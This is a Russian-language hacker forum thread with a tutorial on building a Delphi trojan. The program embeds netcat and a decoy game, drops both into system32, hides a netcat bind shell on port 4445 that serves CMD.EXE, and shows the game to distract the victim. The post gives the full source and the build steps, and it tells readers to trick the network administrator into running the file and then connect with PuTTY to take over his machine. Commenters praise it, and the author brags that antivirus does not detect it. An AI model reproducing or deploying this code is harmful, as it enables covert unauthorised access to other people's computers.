... и NetCat в придачу

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Brun, 4 Jan 2007.

  1. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    100
    Likes Received:
    57
    Reputations:
    16
    Речь сегодня пойдёт о програмировании. Но причём сдесь NetCat?.. Значит начнём всё по-порядку. Начнём с того что я хочу Вам показать как можна писать программы на Delphi и получать какойто прок для себя.
    Хватит вокруг да около. Начинаем.
    1. Для написания нам понадоится Delphi от 5-ой версии до 10-ой можете выбирать всё что Вам по душе. Я же пишу под Delphi7 (ну и рекомендую всем). Можно писать нашу будующую программы с VCL, но я покажу иной способ. Тогда мы сэкономим размер программы.
    2. Открываем Delphi. File -> New -> Other -> Console Application. Сразу сохраняем проэкт под названием ncplus например.
    А для чего же NetCat? Для того чтобы сделать себе бекдор на чужой машине. И уже сидя на своей делать то что нам нужно. Что же дальше...
    3. Нам нужно скачать утилитку NetCat версии 1.11 (Netcat 1.11 for NT). Скинуть её в папку с проэктом. Дальше нужно создать файл ресурсов. Для этого сделаем файл ncp.rc с таким содержимым :
    Code:
    ncexe	exe	nc.exe
    и чуть не забыл. надо дописать ещё одну строчку.
    Code:
    ncexe2	exe	mario.exe
    Ну уж постарайтесь найти в инете старенькую игрушку (по правде говоря, вместо mario.exe можна поставить что угодно, это мы кидаем для того чтобы не палится. Мы себе делаем то что нам нужно, а топом запускаем игруху)
    Сохраняем. После этого нам надо собрать наш файл ресурсов. Для этого в коммандной строчке пишем :
    Code:
    brcc32.exe ncp.rc
    Если Вы сделали всё правильно, то у должен появится файл ncp.RES. Теперь когда все приготовления сделаны переходим к программе.
    4. Вот что должно быть с самого начала :
    Code:
    program ncplus;
    
    {$APPTYPE CONSOLE}
    
    uses
      SysUtils;
    
    begin
      { TODO -oUser -cConsole Main : Insert code here }
    end.
    5. Теперь я быстренько накидаю листинг. А в нём буду делть кометарии.
    Code:
    /------------------------------------
    program ncplus;
    
    {$APPTYPE CONSOLE}
    {$R ncp.RES} // - тут наши ехе"шники =)
    
    uses
      SysUtils, Windows, ShellAPI, Classes;
      // выше описаны модули которые нам надо будет
    
    var
     Res : TResourceStream; // - для роботы с ресурсами
    
    function GetSysDir: string; // путь к папке %windir%/system32
    var
      dir: array [0..MAX_PATH] of Char;
    begin
      GetSystemDirectory(dir, MAX_PATH);
      Result := StrPas(dir);
    end;
    
    
    begin
    //---- Вытягиваем наши файлы с ехе"шника и
    // кидаем их в system32 =)
    Res:=TResourceStream.Create(Hinstance,'ncexe','exe');
    Res.SavetoFile(GetSysDir+'\nc.exe');
    Res:=TResourceStream.Create(Hinstance,'ncexe2','exe');
    Res.SavetoFile(GetSysDir+'\mario.exe');
    Res.Free;
    //---- Вытянули
    
    //----- Запускаем программы
    if FileExists(GetSysDir+'\nc.exe') then //- если мы выложили файл куда
    // хотели, то :
    ShellExecute(0,'open',
    PChar (GetSysDir+'\nc.exe'),PChar('-v -l -p 4445 -d -e CMD.EXE'),nil,sw_hide);
    //  -v -l -p 4445 -d -e CMD.EXE  - это параметры коммандной строчки
    // если интересно что для чего, то читайте справку
    // sw_hide - для того чтобы бекдор не палить
    if FileExists(GetSysDir+'\mario.exe') then
    ShellExecute(0,'open',
    PChar (GetSysDir+'\mario.exe'),nil,nil,sw_show);
    // ну и запускаем игру для отвда глаз =)
    // sw_show - а тут наоборот. Показываемся
    
    end.
    /-----------------------------
    Программа написана. Для завершения её написания нужно откомпилировать. F9. Если всё сделано правильно, то ошибок давать не должно. В папке с проэктом должен появится ncplus.exe. Всё.

    6. Кричим админу что там-то и там-то есть супер модная гейма (ну не буду писать что и как, тоисть как вешать лапшу.... проявите свои творческие способности). Когда он запустит, и начнёт играть, Вы вто време идёте за комп, который подалше от админовского и запускаете PuTTY.
    Теперь в кратце параметр с которым мы запустили NetCat :
    Code:
    -v -l -p 4445 -d -e CMD.EXE
    Запустили консоль, которая висит себе на неком 4445 порту.
    7. Заключительный этап. После запуска PuTTY в Host Name (or IP) пишем название, а лутче IP админовского компа. В Port пишем 4445. Protocol выбираем Raw. Enter. И о чудо... Мы получили коммандную строчку адмыновского компа. Что же делать? А делать нужно то что я описывал в этой статье : Узнаём пароли Windows за 5 секунд
    8. Ссылки по теме :
    Тут я брал NetCat
    Turbo Delphi (если нет другого)
    Мой сайт в IF.UA
    Материалы к статье (Исходные коды на Delphi).
    9. Вот такой маленький экскурс в Delphi и NetCat.



    С Вами был (и есть =)) Brun.
     
    5 people like this.
  2. D=P=CH= MOD=

    D=P=CH= MOD= Elder - Старейшина

    Joined:
    15 Aug 2006
    Messages:
    301
    Likes Received:
    195
    Reputations:
    15
    Оч понравилось!
    Гут +2.
     
  3. zl0ba

    zl0ba ПсихолоГ

    Joined:
    10 Oct 2006
    Messages:
    411
    Likes Received:
    301
    Reputations:
    52
    Хорошо, троян своими руками.
     
  4. Brun

    Brun Elder - Старейшина

    Joined:
    21 Mar 2006
    Messages:
    100
    Likes Received:
    57
    Reputations:
    16
    я бы назвал это бэкдор. Антивирусами же не палится =)
     
  5. a1nt

    a1nt Elder - Старейшина

    Joined:
    16 Dec 2005
    Messages:
    141
    Likes Received:
    39
    Reputations:
    25
    В Хакере была подобная статья только там запускали radmin.
    В-общем молодец, старался)